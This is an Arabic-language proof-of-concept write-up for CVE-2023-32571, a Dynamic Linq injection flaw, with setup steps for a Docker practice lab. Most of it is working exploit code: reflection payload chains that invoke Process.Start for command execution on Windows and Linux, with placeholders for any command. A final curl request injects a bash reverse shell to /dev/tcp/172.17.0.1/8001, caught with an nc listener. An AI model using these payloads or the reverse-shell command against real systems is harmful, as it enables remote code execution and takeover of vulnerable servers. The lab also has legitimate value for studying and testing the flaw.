
استغلال إثبات مفهوم لـ CVE-2023-32571 يوضح حقن Dynamic Linq لتحقيق تنفيذ كود عن بعد، مع بيئة مختبرية قائمة على Docker للممارسة العملية.
مؤخرًا، اكتشف أعضاء مجموعة NCC ثغرة أمنية في Dynamic Linq تسمح للمهاجمين باستدعاء دوال C# عبر حقن Linq، مما يجعل من الممكن الحصول على تنفيذ الأوامر عن بُعد.
على الرغم من تقرير RCE الخاص بـ Dynamic Linq، لم يقم أعضاء مجموعة NCC لسبب ما بتوفير POC لتنفيذ الأوامر.
كما ورد في بحث NCC Group، يمكننا استدعاء دوال C# من خلال "Invoke". وبهذا، يمكننا استدعاء "System.Diagnostics.Process.Start" وتنفيذ الأوامر على الخادم.
يمكننا استخدام طريقة "CreateInstanceFromAndUnwrap" لاستدعاء System.Diagnostics.Process من خلال التجميعة.
الحمولة لاستخدام طريقة System.AppDomain.CreateInstanceAndUnwrap:
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
الحمولة لاستدعاء System.Diagnostics.Process من خلال طريقة CreateInstanceAndUnwrap:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
من خلال الوصول إلى دوال الفئة System.Diagnostics.Process، يمكننا استخدام طريقة System.Diagnostics.Process.Start لتنفيذ الأوامر على النظام:
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
ملاحظة: لاحظ أن الحمولة تبحث عن أول 3 طرق Start وتحصل على آخرها. فعلت هذا لأن قائمة الدوال في System.Diagnostics.Process تحتوي على عدة طرق Start، والطريقة التي نحتاجها هي الثالثة في القائمة.
أهداف ويندوز
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
قم بتثبيت docker و docker-compose:
ديبيان
sudo apt update -y && sudo apt install docker.io docker-compose -y
sudo pacman -Syu && sudo pacman -S docker docker-compose
استنسخ هذا المستودع:
git clone https://github.com/Tris0n/CVE-2023-32571-POC
cd CVE-2023-32571-POC
sudo docker-compose up --build
يبدأ التطبيق على http://localhost:8000/
عند الوصول إلى المسار "/api/products" عبر طريقة POST، نرى أنه يُرجع قائمة بالمنتجات:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

عن طريق إرسال معامل name في json، يمكننا تصفية المنتجات:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

بعد بعض الاختبارات، نرى أننا تمكنا من حقنها في استعلام Dynamic Linq. بإرسال الحمولة التالية، تمكنا من الحصول على شل عكسي:
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

nc -lvp 8001
